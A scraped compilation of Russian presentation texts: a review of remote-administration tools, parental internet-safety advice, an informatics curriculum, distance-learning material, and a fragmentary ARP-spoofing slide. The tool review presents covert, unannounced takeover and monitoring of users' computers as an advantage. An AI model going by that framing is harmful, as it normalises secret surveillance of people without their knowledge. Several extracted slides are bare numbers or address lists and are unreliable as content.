С ее помощью можно производить удаленное выключение или перезагрузку одновременно нескольких компьютеров сети. На удаленных ПК можно запускать приложения (если они поддерживают запуск из командной строки), кроме того, поддерживается одновременный запуск одинаковых приложений на группе управляемых ПК.

Утилита LanHelper имеет встроенный набор команд, которые можно выполнять на удаленных ПК . При этом возможно указывать время, когда запускается приложение, и временной интервал, в соответствии с которым приложения запускаются на ПК (минимальный интервал 1 мин). Также можно составлять расписание запуска приложений на удаленных ПК. Самое главное достоинство программы заключается в том, что для реализации всех ее возможностей не требуется установка клиентской части на удаленные ПК.

Кроме удаленного выполнения команд, утилита LanHelper 1.61 позволяет просматривать, запускать и останавливать различные службы на удаленных ПК, а также рассылать пользователям сообщения (для реализации данной возможности необходимо активировать службу Messenger на всех ПК).

DameWare NT Utilities 5.5.0.2

Программный пакет DameWare NT Utilities 5.5.0.2 представляет собой мощную систему удаленного администрирования локальной сети. Он основан на комплексе утилит Microsoft Windows NT administration utilities, объединенных очень удобным единым интерфейсом. Большинство входящих в пакет утилит из набора Microsoft Windows NT administration utilities обладают расширенными возможностями, а кроме того, в нем есть ряд уникальных утилит. В частности, в пакет входит утилита DameWare Mini Remote Control, позволяющая полностью контролировать рабочий стол удаленного ПК, а также утилита для реализации режима командной строки на удаленном ПК.

При запуске пакета DameWare NT Utilities 5.5.0.2 автоматически сканируется вся сеть и в главном окне программы отображаются все доступные домены и рабочие группы, а также компьютеры в выбранном домене рабочей группе
Omniquad Instant Remote Control 2.2.9

Текущая версия утилиты Omniquad Instant Remote Control - 2.2.9 -уже далеко не нова, однако до сих пор остается одной из лучших в своем классе.
Утилита Omniquad Instant Remote Control 2.2.9 позволяет получить через рабочий стол полный контроль над удаленным ПК. Отличительной особенностью данной утилиты является то, что она не требует установки клиентской части на управляемом ПК. При получении доступа к удаленному ПК на нем в скрытом режиме первоначально запускается соответствующая служба, причем пользователь управляемого с помощью данной программы ПК не получает никакого уведомления и не имеет возможности узнать, что управление его компьютером перехвачено. Это позволяет использовать данную утилиту для скрытого наблюдения за действиями пользователей. Отметим, что возможностью контроля над ПК без предварительного уведомления пользователя обладают далеко не все утилиты удаленного управления.

При запуске программы автоматически сканируется сеть, а в главном окне программы отображаются компьютеры сетевого окружения . После выделения любого компьютера нажатием кнопки Remote Control производится перехват управления удаленного ПК. Работа локального пользователя при этом не блокируется. Кроме того, возможен запуск данной утилиты в режиме мониторинга рабочего стола удаленного ПК.

EMCO Remote Desktop Professional 4.0

По спектру функциональных возможностей этот продукт в какой-то мере аналогичен пакету DameWare NT Utilities 5.5.0.2. Программный пакет EMCO Remote Desktop Professional представляет собой набор функциональных инструментов для реализации удаленного управления локальной сетью и мониторинга ее состояния.

При запуске программы можно активировать сетевой сканер, который позволяет собрать подробную информацию обо всех компьютерах локальной сети, об установленных на них приложениях, о запущенных процессах, о версиях имеющейся операционной системы, об установленном оборудовании и т.д. Помимо автоматического сбора информации о компьютерах сети (этот процесс длится достаточно долго) ПК в список можно добавлять и вручную.
Пакет позволяет удаленно запускать и останавливать службы, перезапускать и выключать компьютеры. Самой интересной особенностью данной программы является возможность получения -полного контроля над удаленным компьютером  для этого достаточно выделить нужный компьютер в списке и перейти к вкладке Viewer. Если управление компьютером производится в первый раз, то необходимо установить службу NetServer на удаленном ПК. Эта процедура осуществляется удаленно и является абсолютно незаметной для локального пользователя. После того как на удаленном ПК запущена служба NetServer, к нему можно подсоединиться, получить полный контроль над управлением и затем работать с удаленным ПК точно так же, как и с локальным. При удаленном управлении компьютером работа локального пользователя не блокируется; правда, если одновременно использовать мышь, то вряд ли что-нибудь получится.

Radmin 3.0 Remote Control

Из всех рассмотренных нами продуктов утилита Radmin 3.0 Remote Control от компании Famatech самая «свежая» - ее новая версия вышла в начале 2007 года.
Данная утилита предназначена для наблюдения и получения полного контроля за удаленным ПК в составе локальной сети.

Radmin 3.0 Remote Control оснащена только самыми необходимыми средствами для управления удаленным ПК и очень проста в настройке . Благодаря этому освоить ее несложно. Утилита работает по принципу клиент-серверного приложения и включает две части: первая (серверная) часть устанавливается на управляемом ПК, а вторая - на ПК, с которого производится управление.

В последней версии программы появилось множество интересных нововведений:

-поддержка ОС Windows Vista;
-текстовый и голосовой чат с возможностью проведения конференций и обмена личными сообщениями и защиты паролем;
-повышенный уровень безопасности, обеспечивающий защиту от атак, и защита активных данных в сети;
-различные права доступа для каждого пользователя;
-IP-фильтры для ограничения доступа к определенным IP-адресам и подсетям.

Atelier Web Remote Commander 5.59

Atelier Web Remote Commander 5.59  - это небольшая утилита, которая, по замыслу должна обеспечивать полный контроль удаленного ПК. Она состоит из двух частей и работает по принципу «клиент/сервер». Кроме того, предусмотрена возможность удаленно собирать информацию об аппаратной конфигурации ПК и др.

Из явных недостатков можно выделить отсутствие справки. Кроме того, программа не имеет встроенного сканера сети, из-за чего приходится явным образом вводить имя или IP-адрес компьютера, к которому необходимо подключиться, что крайне неудобно. Но основной недостаток заключается в том, что для реализации подключения к удаленному ПК на нем прежде всего необходимо установить соответствующий модуль программы (при этом встроенных средств для удаленной установки нет) и каким-то образом настроить его.

Remote Desktop Control 1.7

Программа Remote Desktop Control 1.7 относится к разряду клиент-серверных приложений, то есть на управляемом ПК устанавливается Host-модуль программы, а на ПК, с которого производится управление, - Admin-модуль.

По своему интерфейсу и функциональным возможностям пакет Remote Desktop Control 1.7 очень напоминает Anyplace Control 3.3, но имеет и некоторые важные отличия (причем в худшую сторону), например в нем отсутствует возможность реализовать удаленную установку Host-модуля на любой компьютер локальной сети. Кроме того, для работы пакета Remote Desktop Control 1.7 необходимо на управляемом компьютере настроить Firewall (внести программу в список разрешенных), в то время как программа Anyplace Control 3.3 делает это автоматически.

По своим функциональным возможностям Remote Desktop Control 1.7 аналогична программе Anyplace Control 3.3: она позволяет работать в двух режимах: просмотра и управления; в режиме просмотра можно отображать на экране рабочий стол удаленного ПК и наблюдать за действиями пользователя, а в режиме управления — полностью перехватывать управление удаленным ПК.
Утилиты позволяют удаленно управлять одновременно несколькими ПК. При этом предусмотрено одновременное выполнение на управляемых ПК таких команд, как выключение, перезагрузка и завершение сеанса пользователя.
Демо-версия Remote Desktop Control 1.7 действует в течение 30 дней после установки.

TightVNC for Windows 1.3.8

TightVNC for Windows 1.3.8 - абсолютно бесплатная утилита для удаленного управления компьютером, которая работает по принципу «клиент-сервер» и имеет два модуля: TightVNC Viewer и TightVNC Server. Модуль TightVNC Server устанавливается на управляемом ПК, а TightVNC Viewer - на ПК, с которого производится управление. Средств для удаленной установки модуля TightVNC Server не имеется. Кроме того, перед началом работы необходимо произвести настройку модуля TightVNC Server, указав пароль на подключение. Для подключения к удаленному ПК достаточно указать его DNS-имя или IP-адрес и выбрать тип соединения.

UltraVNC 1.0.2

Утилита UltraVNC 1.0.2 - это еще одна абсолютно бесплатная, но, тем не менее, очень эффективная утилита для удаленного управления ПК, работающая по схеме «клиент-сервер». На управляемом компьютере инсталлируется модуль UltraVNC Server, а на компьютере, с которого осуществляется управление- модуль UltraVNC Viewer. Средств для удаленной инсталляции модуля UltraVNC Server в программе не предусмотрено, поэтому устанавливать модули необходимо локально.

Модуль UltraVNC Server имеет массу настроек и позволяет устанавливать пароль на подключение, выбирать используемые порты и т.д.

RealVNC

Существует три варианта программы RealVNC: Free Edition, Personal Edition и Enterprise Edition, которые отличаются друг от друга функциональными возможностями и стоимостью.
Программа RealVNC Free Edition обладает минимальными функциональными возможностями и является абсолютно бесплатной. Собственно, в данном случае речь идет лишь о возможности получения доступа к рабочему столу удаленного ПК.

Вариант RealVNC Personal Edition предлагает ряд дополнительных возможностей. Прежде всего это шифрование трафика по алгоритму AES с длиной ключа 128 бит, причем поддерживается автоматическая генерация ключа шифрования. Кроме того, предусмотрена возможность использования аутентификации пользователя, а также передачи файлов между компьютерами и многое другое
Hidden Administrator 1.5

Программа Hidden Administrator 1.5  - это еще одна бесплатная программа для удаленного управления компьютерами, причем, как следует из названия, она позволяет осуществлять скрытое наблюдение за компьютерами
Кроме функции получения доступа в режиме полного контроля к рабочему столу удаленного компьютера, программа Hidden Administrator 1.5 предлагает ряд дополнительных возможностей: получать информацию о конфигурации удаленного ПК, обмениваться файлами с удаленным ПК, посылать сообщения на удаленный ПК, выключать или перезагружать удаленный компьютер, работать с реестром удаленного ПК, получать и передавать буфер обмена, запускать программы на удаленном ПК и многое


title: Презентация на тему: Угрозы Интернета

text:
Родительское собрание
Угрозы Интернета
Признаки Интернет - зависимости
1. Ребёнок использует Интернет как средство от стресса.
2. Ребёнок часто теряет счёт времени, в то время как находится в Интернете.
3. Ребёнок жертвует сном за возможность провести больше времени в он-лайне.
4. Ребёнок больше предпочитает тратить своё время на Интернет, а не на друзей или семью
5. Он или она лжёт членам семьи и друзьям о количестве проведённого времени в сети.
6. Ребёнок становится раздражительным, если ему не разрешают подключиться к Интернету.
7. Он или она потерял (а) интерес к тем занятиям, которые считал (а) приятным времяпрепровождением до получения доступа к Интернету.
8. Ваш ребёнок формирует новые отношения с людьми, встреченными в он-лайне.
9. Он или она проверяет свою электронную почту несколько раз в день.
10. Он или она пренебрегают отношениями, достижениями, или образованием из-за Интернета.
11. Ребёнок не соблюдает установленных вами сроков на использование Интернета.
12. Они часто едят перед компьютером.
13. У ребёнка проявляются симптомы ломки, включая:
-беспокойство;
-неугомонность;
- дрожащие руки после продолжительного неиспользования Интернета.
14. Ребёнок постоянно думает об Интернете.
15. Они перестают отличать виртуальный мир от реального
   Очень важно распознать интернет - зависимость детей на ранней стадии и установить пределы на его использование

Что о себе сообщают дети в социальных сетях
Советы родителям
Научите ребенка не давать личную информацию (имя, адрес, номер или адрес школы, место работы родителей и их рабочий телефон), особенно в чатах и на досках объявлений.
Будьте в курсе электронной почты, которую получают ваши дети, а также используемого пароля. Увы, все мы знаем, что читать чужие письма нельзя, но в данном случае это правило нарушить не помешает.

Предупредите, что нельзя открывайте подозрительные послания электронной почты, файлы, приложения или веб-страницы от незнакомых или сомнительных людей.
Научите детей не организовывать встреч со своими знакомыми по интернету. Объясните, что люди в чатах не всегда те, за кого себя выдают, и в реальной жизни могут сильно отличаться от того, какими они кажутся в интернете.
Держите компьютер там, где вам удобнее контролировать его использование. Установите четкие требования насчет пользования компьютером и Интернетом, и всегда требуйте их выполнения.
Регулярно проводите время в интернете вместе с вашими детьми для того, чтобы узнать, чем они там занимаются и что их интересует. Постарайтесь установить атмосферу доверия и взаимопонимания.
Скажите ребенку, что нельзя отвечать на оскорбительные или опасные послания по электронной почте, в чатах. Веб-сайты, на которых они чувствуют себя дискомфортно, необходимо незамедлительно покидать.
Лучший способ защитить детей заключается в установке компьютеров в местах сбора всей семьи, но не в детских комнатах.
Если есть возможность, купите специальную программу, которая дает взрослым возможность ограничивать доступ детей к нежелательным ресурсам в Internet. Программа контролирует действия ребенка и проверяет каждую посещенную страницу в Интернете. Если она обнаруживает подозрительную информацию (порнография, насилие, религиозные секты и т.п.), то доступ к такой странице сразу блокируются.
Специальные программы, блокирующие нежелательные сайты
   Parental Filter
   CYBERsitter
   Child Web Guardian
Советуем почитать
    http://www.trud.ru/article/05-02-2010/236101_kak_ogradit_detej_ot_internet-ugroz.html

Благодарю за внимание!


title: Презентация на тему: УМК по информатике

text:
Презентация  УМК  по информатике
Сетракова И.М.
Учитель начальных классов
МБОУ Сетраковская СОШ
Новый ФГОС НОО делает значительный акцент на  освоение учащимися универсальных   учебных действий.     Именно через освоение универсальных действий предполагаетсяосуществлять приобретение учащимися    ключевых компетенций

Требования к результатам
формирование и развитие УУД и специальных учебных умений, для успешной учебной деятельности в средней и старшей школе.
опыт работы с гипермедийными информационными объектами, которые могут передаваться как устно, так и с помощью современных технологий или размещаться в Интернете.
ИКТ-компетентности
умение решать учебные задачи с использованием общедоступных в начальной школе инструментов ИКТ и источников информации в соответствии с возрастными потребностями и возможностями младшего школьника.
При освоении личностных действий ведется формирование:
критического отношения к информации и избирательности ее восприятия;
уважения к информации о частной жизни и информационным результатам других людей.
Личностные универсальные учебные действия
При освоении регулятивных универсальных учебных действий обеспечивается:
оценка условий, хода и результатов действий, выполняемых в информационной среде;
использование результатов действия, размещенных в цифровой информационной среде, для выполнения оценки выполненного действия самим обучающимся, его товарищами и учителями, а также для их коррекции;
создание цифрового портфолио учебных достижений учащегося.
Регулятивные универсальные учебные действия
При освоении познавательных универсальных учебных действий ИКТ играют ключевую роль в таких общеучебных универсальных действиях, как:
поиск информации в индивидуальных информационных архивах учащегося, информационной среде образовательного учреждения, в федеральных хранилищах информационных образовательных ресурсов;
фиксация (запись) информации об окружающем мире и образовательном процессе, в том числе – с помощью аудио- и видео- записи, цифрового измерения, оцифровки (работ учащихся и др.) с целью дальнейшего использования записанного (его анализа, цитирования);
Регулятивные универсальные учебные действия
структурирование знаний, их организация и представление в виде концептуальных
диаграмм, карт, линий времени и генеалогических деревьев;
создание гипермедиа сообщений, включающих текст, набираемый на клавиатуре, цифровые данные, неподвижные и движущиеся, записанные и созданные изображения и звуки, ссылки между элементами сообщения;
подготовка выступления с аудио-визуальной поддержкой;
построение моделей объектов и процессов из конструктивных элементов реальных и виртуальных конструкторов;
выступление с аудио-визуальной поддержкой;
 фиксация хода коллективной/личной коммуникации (аудио-видео и текстовая запись);
общение в цифровой среде (электронная почта, чат, видео-конференция, форум, блог)
создание гипермедиа-сообщений;
Коммуникативные универсальные учебные действия
Горячев Александр Владимирович, кандидат педагогических наук, лауреат премии Правительства РФ в области образования за 2008 год, руководитель авторского коллектива курса «Информатика в играх и задачах» (учебники 1-4 классы, учебные пособия 5-6 классы), автор пособия для дошкольников «Всё по полочкам», автор учебников для 3-4 классов «Информатика и ИКТ. Мой инструмент компьютер», «Информатика. Логика и алгоритмы», автор справочников-практикумов для обучения работе с компьютерными программами. Выпускник факультета прикладной математики МИЭМ (1982), научный сотрудник института точной механики и вычислительной техники им. С.А.Лебедева (1982-1998). Координатор направления «Информатика» в Образовательной системе «Школа 2100».
Доктор физико-математических наук, профессор. Член-корреспондент Российской Академии наук (РАН). Действительный член Российской Академии образования (РАО). Действительный член Российской Академии естественных наук (РАЕН). Ректор Московского института открытого образования (МИОО) (Московский институт повышения квалификации работников образования).
Евгения Павловна Бененсон - Кандидат технических наук (1982 г.). В 1972 году окончила факультет счетно-решающей техники МЛТИ по специальности – системы автоматического управления.
С 1995 года – преподавала на курсах повышения квалификации для учителей и методистов (обучение работе с учениками на уроках математики и информатики). 1991-1998 гг. – факультативные и кружковые занятия математикой и информатикой со школьниками (1-7 классы).
Автор учебников и учебных пособий по математике (по системе Занкова) и информатике для детей, методических пособий для учителей.
Матвеева Наталья Владимировна - К.п.н., старший научный сотрудник ГНУ ИСМО (ИОСО РАО), автор УМК по информатике для 2 - 4 классов и ЦОР по информатике для 2 класса в Единой национальной коллекции. Член Федерального экспертного совета Минобразования РФ. Награждена почетной грамотой Министерства образования Российской Федерации.
Целью курса является формирование универсальных учебных действий, отражающих потребности ученика начальной школы в информационно-учебной деятельности, а также формирование начальных предметных компетентностей в части базовых теоретических понятий начального курса информатики и первичных мотивированных навыков работы на компьютере и в информационной среде, в том числе при изучении других дисциплин.
УМК  Н. В. Матвеевой
Задачами курса являются:
1)формирование системного, объектно-ориентированного теоретического мышления;
 2)умения описывать объекты реальной и виртуальной действительности на основе различных способов представления информации;
3)овладение приемами и способами информационной деятельности;
4)формирование начальных навыков использования компьютерной техники и современных информационных технологий для решения практических задач.
Авторский коллектив под данным термином понимает «готовность учащегося использовать усвоенные знания, умения и навыки в области информатики для:
1)доступа к информации (знание того, где и как искать и получать информацию) 2)обработки информации (использование заданных схем организации и классификации информации)
3)интеграции информации (интерпретирование и представление информации, включая резюмирование, сравнение, сопоставление)
 4)оценки информации (суждение о качестве, релевантности, полезности, пригодности информации)
5)создания информации (адаптация, сочинение информации) и т.д.».
Во 2 классе дети учатся видеть окружающую действительность с точки зрения информационного подхода. В процессе обучения в мышление и речь учеников постепенно вводятся термины информатики (источник/приемник информации, канал связи, данные и др.). Школьники изучают устройство компьютера, учатся работать с электронными документами.
В 3 классе школьники изучают
 представление и кодирование информации, ее хранение на информационных носителях. Вводится понятие объекта, его свойств и действий с ним. Дается представление о компьютере как системе. Дети осваивают информационные технологии: технологию создания электронного документа, технологию его редактирования, приема/передачи, поиска информации в сети Интернет. Учащиеся знакомятся с современными инструментами работы с информацией (мобильный телефон, электронная книга, фотоаппарат, компьютер и др.), параллельно учатся использовать их в своей учебной деятельности. Понятия вводятся по мере необходимости, чтобы ребенок мог рассуждать о своей информационной деятельности, рассказывать о том, что он делает, различая и называя элементарные технологические операции своими именами.
В 4 классе рассматриваются темы «Мир понятий» и «Мир моделей», формируются представления учащихся работе с различными научными понятиями, также вводится понятие информационной модели, в том числе компьютерной. Рассматриваются понятия исполнителя и алгоритма действий, формы записи алгоритмов. Дети осваивают понятие управления собой, другими людьми, техническими устройствами (инструментами работы с информацией), ассоциируя себя с управляющим объектом и осознавая, что есть объект управления, осознавая цель и средства управления. Школьники учатся понимать, что средства управления влияют на ожидаемый результат, и что иногда полученный результат не соответствует цели и ожиданиям.
знать/понимать:
основные источники информации;
 назначение основных устройств компьютера;
правила безопасного поведения и гигиены при работе инструментами, бытовой техникой (в том числе с компьютером).
УРОВЕНЬ ПОДГОТОВКИ УЧАЩИХСЯ, ОКАНЧИВАЮЩИХ НАЧАЛЬНУЮ ШКОЛУ
уметь:
составлять небольшие письменные описания предмета, картинки с помощью текстового редактора;
 составлять алгоритм решения текстовых задач (не более 2–3 действий);
 распознавать изученные геометрические фигуры и изображать их на экране компьютера;
сравнивать различные объекты реальной действительности по размерам, взаимному расположению в пространстве и выражать эти отношения с помощью схем;
 определять признаки различных объектов природы (цвет, форму) и строить простые графические модели в виде схемы, эскиза, рисунка;
 различать части предметов и отображать их в рисунке (схеме);
 выполнять инструкции (алгоритмы) при решении учебных задач;

получать необходимую информацию об объекте деятельности, используя рисунки, схемы, эскизы, чертежи (на бумажных и электронных носителях);
 работать с разными источниками информации ;
обогащать жизненный опыт, удовлетворять свои познавательные интересы, осуществлять поиск дополнительной информации о родном крае, родной стране, нашей планете с помощью непосредственного наблюдения, измерения, сравнения и используя мультимедийные средства обучения;
 осуществлять сотрудничество в процессе совместной работы над компьютерными проектами и презентациями;
 решать учебные и практические задачи с применением возможностей компьютера; осуществлять поиск информации с использованием простейших запросов;
практикумы;
работа в группах,;
организационно - деятельностные, деловые игры.
Формы организации учебного процесса
 чтение текста;
выполнение заданий и упражнений (информационных задач);
 наблюдение за объектом изучения (компьютером);
 компьютерный практикум (работа с электронным пособием);
 работа со словарём;
 контрольный опрос, контрольная письменная работа;
 итоговое тестирование;
 эвристическая беседа;
 разбор домашнего задания;
 физкультурные минутки и «компьютерные» эстафеты.
Виды деятельности на уроке
Спасибо за внимание!


Презентация на тему: Угрозы безопасности в сети Интернет


title: Презентация на тему: Уязвимости протокола ARP

text:
ARP-spoofing
ARP-spoofing
ARP-spoofing
ARP-spoofing
ARP-spoofing
193.233.70.197
193.233.70.199
?
223.1.2.1
223.1.2.3
223.1.2.4
08:00:39:00:2F:C3
08:00:5A:21:A7:22
08:00:10:99:AC:54
Ethernet
IP
ARP
UDP
TCP
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
Telnet   223.1.2.2
223.1.2.1
223.1.2.3
223.1.2.4223.1.2.2
08:00:39:00:2F:C3
08:00:5A:21:A7:22
08:00:10:99:AC:54?
Telnet   223.1.2.2
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
Telnet   223.1.2.2
223.1.2.1
223.1.2.2
223.1.2.3
223.1.2.4
08:00:39:00:2F:C3
08:00:28:00:38:A9
08:00:5A:21:A7:22
08:00:10:99:AC:54
LHA
0
31
LPA
16
LHA
FF-FF-FF-FF-FF-FF
0
31
LPA
16
223.1.2.1
223.1.2.1
Windows 95/98/NT
LHA
0
31
LPA
16
=223.1.2.1
223.1.2.1
223.1.2.2
Switch
223.1.2.8
223.1.2.2
Switch
223.1.2.8
00-66-66-66-66-66
C:\>arp -a
Interface: 223.1.2.2 on Interface 0x1000003
  Internet Address     Physical Address      Type
  223.1.2.1                   00-66-66-66-66-66     dynamic
223.1.2.2
Switch
223.1.2.8
00-66-66-66-66-66
C:\>arp -a
Interface: 223.1.2.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  223.1.2.2                    00-66-66-66-66-66     dynamic
223.1.2.2
Switch
223.1.2.8
00-66-66-66-66-66
00-11-11-11-11-11
00-22-22-22-22-22
00-11-11-11-11-11
223.1.2.2
Switch
223.1.2.8
00-66-66-66-66-66
00-11-11-11-11-11
00-22-22-22-22-22
00-22-22-22-22-22
IP BASED SNIFFING
MAC BASED SNIFFING
ARP BASED SNIFFING
PUBLIC ARP
SMART PUBLIC ARP
223.1.2.2
Switch
223.1.2.8
00-66-66-66-66-66
00-11-11-11-11-11
00-22-22-22-22-22


title: Презентация на тему: УМК по информатике для 8 – 11 классов

text:
11
6
3
14
13
8
2
3
4
2
4
16
18
6
12
10
6
2
3
4
3
5
10
14
18
3
10
8
30
2
22
8
11
6
3
14
13
8
2
3
4
2
4
16
18
6
12
10
6
2
3
4
3
5
10
14
18
3
10
8
30
2
22
8


Презентация на тему: Угрозы информационной безопасности и каналы утечки информации


title: Презентация на тему: Умники и умницы

text:
(1024)
 (8)


title: Презентация на тему: Умозаключение

text:
                      C
             B
A
                      C
B
A


Презентация на тему: Умозаключение как форма мышления


title: Презентация на тему: Учебные сайты

text:
Дистанционная форма обучения. Методика подготовки учебного материала для создания сайта
Среди форм обучения важное место отводится дистанционному обучению благодаря глобальным компьютерным сетям, которые имеют ряд важных преимуществ. Действительно: если студенту постоянно доступен исчерпывающий материал курса, включая материалы для каждого занятия, разработанные и размещенные на сайте, тесты для текущего асесмента учебных достижений, если лектор доступен студенту через форум и чат – постепенно нивелируется разница между разными формами обучения – студент может плодотворно работать над курсом в удобное для него время, в удобном для него месте, темпе, и его физическое присутствие в аудитории не является необходимостью. Это указывает на необходимость развития технологий создания дистанционных курсов (ДК)для обучения будущих инженеров.

С целью оптимизации процесса обучение высшей математике будущих инженеров мы разработали сайт www.vmdbi.net.ua, на котором размещено ДК «Высшая математика для будущих инженеров», созданный с помощью языков WEB-программирования: HTML, PHP, Java и размещенный на сервере интернет-провайдера INFOBOX.RU, где он функционирует в автоматическом режиме. Добавление материалов, администрирование и обслуживание сайта ведется через WEB-интерфейс с помощью FTP-клиента.

Характеристики средств, специфических для ДК

Для веб-квестов применяются сайты:
wikipedia.org - многоязычная общедоступная универсальная энциклопедия, свободно распространяемая;
uniquation.ru - сервис для поиска математических формул, необходимых для решения задач как во время контрольной работы, так во время исследования;
fooplot.com - он-лайн-сервис по построению графиков, которые дает возможность выводить на экран как двухмерные кривые, так и трьохмерные пространства;
masteroid.ru - опорный конспект по высшей математике;
mathelp.spb.ru - он-лайн-пособие по высшей математике;
karataev.nm.ru, math.odu.edu, matri-tri-ca.narod.ru, alexlarin.narod.ru - математические онлайн-сервисы по решению систем линейных уравнений порядка, нахождению обратной матрицы, выполнению действий над матрицами, решению задач аналитической геометрии и дифференциальных уравнений и т.п.;
happymaau.com - он-лайн-справочник по высшей математике

В начале курса студент регистрируется в режиме он-лайн, получает индивидуальный шифр, который ему помогает выбрать вариант индивидуальных тестовых заданий, получить информацию и учебные материалы для скачивания.
Для оценки начальных умений студентов, на которых базируется изучение учебного материала модулей, применяются тестовые задания по материалам школьной программы. Каждая попытка выполнения тестов оценивается автоматически соответствующей программой, генерирующей документ, который содержит результаты прохождения теста и рекомендации для устранения пробелов в умениях перед изучением курса высшей математики.

Последующее обучение с помощью ДК организовано посредством выполнения действий, о которых указывается в методических рекомендациях для студентов, начавших самостоятельное изучение курса. Этот подход обеспечивает пошаговое создание каждым студентом своей информационной учебной среды.
В основе организации взаимодействия студентов с ДК лежит дизайн страницы; средства навигации между элементами учебных информационных ресурсов; средства управление мультимедийными презентациями и ресурсами.

Информация на экране монитора представлена интуитивно понятно: с широким применением пиктограмм, логической последовательностью содержания и согласованностью структуры, - поэтому необходимости в дополнительных текстовых инструкциях нет. Все экраны имеют идентичные основные элементы со всеми ключевыми кнопками, размещенными всегда в одном месте.
Студент имеет возможность перемещаться по учебному материалу без необходимости проходить каждый экран или кнопку. Навигация обеспечена с предоставлением дополнительных инструкций в виде диалоговых окон или окон сообщений  относительно дополнительного пути или доступа к информации в случае, если студент недостаточно усвоил, то или другое понятие.
Для создания методики организации и управление учебной деятельностью студентов мы выделяем четыре различных типа восприятия учебной информации и самостоятельного овладения учебным предметом с учетом индивидуальных расхождений мотивации студентов. На низшем уровне восприятия учебной информации помощь в получении самостоятельных умений предлагается во вкладке «библиотека», в которой также размещены для скачивания электронное учебно-методическое пособие, и решебник или руководство по решению задач.

Более старательные студенты после наведения курсора на соответствующей вкладке окна получат список тем для работы и, выбрав необходимую, смогут ознакомиться с компактно подобранной информацией .
После регистрации и получения своего индивидуального задания на вкладке «Учимся решать» студент имеет возможность с ним работать с помощью руководства по решению задач.

Для достаточного и высокого уровней восприятия информации во время самостоятельной учебной деятельности дистанционный курс и ЕНМП становятся источником быстрой справки.
С таким уровнем подготовки студент сможет самостоятельно работать с пунктом «Моделируем инженерную деятельность» учебного пособия, которое находится в библиотеке дистанционного курса, или самостоятельно решать задания пункта «Учимся самостоятельно решать задача» рабочего тетради. При этом студент имеет возможность самостоятельно выбирать уровень сложности своего задания.
Начать решение заданий студент может с любого уровня сложности, постепенно совершенствуя свои умения и выстраивая собственную траекторию обучения.
Управление самостоятельной деятельностью студентов во время работы с этими пунктами происходит с помощью подсказок и информационных поддержек, которые направляют студента на поиск способа решения задачи.
Работая над заданиями вкладки «Учимся решать» или «Учимся моделировать», студенты имеют возможность выяснить для себя все вопросы, которые остались перед контрольной работой.
Поисковая система, система всплывающих информационных подсказок с разной по объему информацией предоставляет возможность получить  консультацию в любой момент времени.
Также на сайте студентам предлагается выполнение самостоятельных лабораторных работ с использованием инструкций к использованию программных средств обучения. Эти инструкции, как и тестовые версии соответствующих программных средств, находятся во вкладке «лаборатория».

Кроме того, на форуме сайта возможное общение студентов с целью сравнения возможностей программных средств, которые применяются во время обучения высшей математике с программным обеспечением машиностроительного и металлургического производств. Например, для сравнения рассматривается программное обеспечение, которое находится на сайте www.acad.com.ua  «Computer Logic Group», содержащем разные версии ANSYS, Autodesk  Invertor, AutoCAD Mechanical, Deform, MasterCAM, SolidCAM, EdgeCAM, QFORM3D и др.
Таким образом, эффективность ДК «Высшая математика для будущих инженеров» на основе компьютерных коммуникаций обеспечивается:
– индивидуальным выбором траектории обучения: содержания, методики преподавания, режима, времени и скорости;
– постоянным доступом студентов к учебным материалам, взаимодействием студентов с учебными ресурсами, возможностью общения участников учебного процесса на основе применения ИКТ с целью, как обсуждения текущих вопросов во время работы с учебным материалом, так и для контактирования на основе взаимных интересов, постоянного контакта с преподавателем;
– возможностью привлечения других преподавателей и информации из других сайтов;
– экономическим эффектом – увеличение количества студентов не требует существенных дополнительных затрат.

Рассмотрим методику создания персонального сайта и размещения на нем материалов для скачивания.
Определим для этого некоторые понятия.
Что такое «Хостинг»?
Услуга по предоставлению аппаратного и программного обеспечения для функционирования сайта в Интернете.
Виды хостинга
Хостинг бывает двух типов:
Бесплатный — компания, оказывающая услуги бесплатного хостинга, зарабатывает, как правило, путем размещения рекламы на страницах сайтов, расположенных на ее серверах. В силу ограничений на предоставляемые услуги, бесплатный хостинг не может быть использован в работе серьезных проектов, но для домашних страничек вполне подходит;
Платный — представляется собой комплекс профессиональных услуг, предоставляемых компанией-хостером.
О сервисе, предоставляющем бесплатный хостинг
Яндекс.Народ – это сервис для создания и бесплатного хостинга сайтов, хранения и обмена файлами.
Для того чтобы создать сайт или загрузить файлы на Народе, требуется доступ к персональной части Яндекса.
Если вы уже зарегистрированы на Яндексе, введите свои логин и пароль, перейдя по ссылке «Войти», расположенной в правой верхней части страницы.
В настоящее время Яндекс.Народ предлагает вам инструмент для создания сайтов — Конструктор сайтов.

Если логина и пароля нет, Вам необходимо зарегистрироваться.

Конструктор сайтов позволяет «собрать» сайт из готовых блоков (новости, фотогалерея и т.п.). Эти блоки можно редактировать (настраивать) и перемещать методом драг-энд-дроп (перетаскиванием). Адрес вашего сайта name.narod.ru.
Размер сайта — не ограничен.
Размер отдельных файлов — до 10 МБ. Загрузка файлов по FTP — поддерживается.
Проверка на вирусы — все страницы сайта и загруженные файлы проходят проверку на вирусы

О Конструкторе сайтов
Конструктор сайтов — бесплатный инструмент для создания и редактирования вашего сайта. Он дает возможность легко и быстро создать сайт на основе шаблона, размещая готовые блоки на вашей странице (новости, фотогалерея и т.п.), настроить внешний вид сайта или создать ваш собственный дизайн.
Для работы с конструктором сайтов не требуется специальных знаний и технических навыков. Не нужно устанавливать никакого дополнительного оборудования или программного обеспечения. Все необходимые инструменты доступны через ваш браузер.
Основной принцип создания сайта через Конструктор – сайт создается сразу, его наполнение и редактирование реализуется с помощью размещения и настройки готовых блоков. Каждый блок может быть размещен только на одной конкретной странице или на всех страницах сайта.
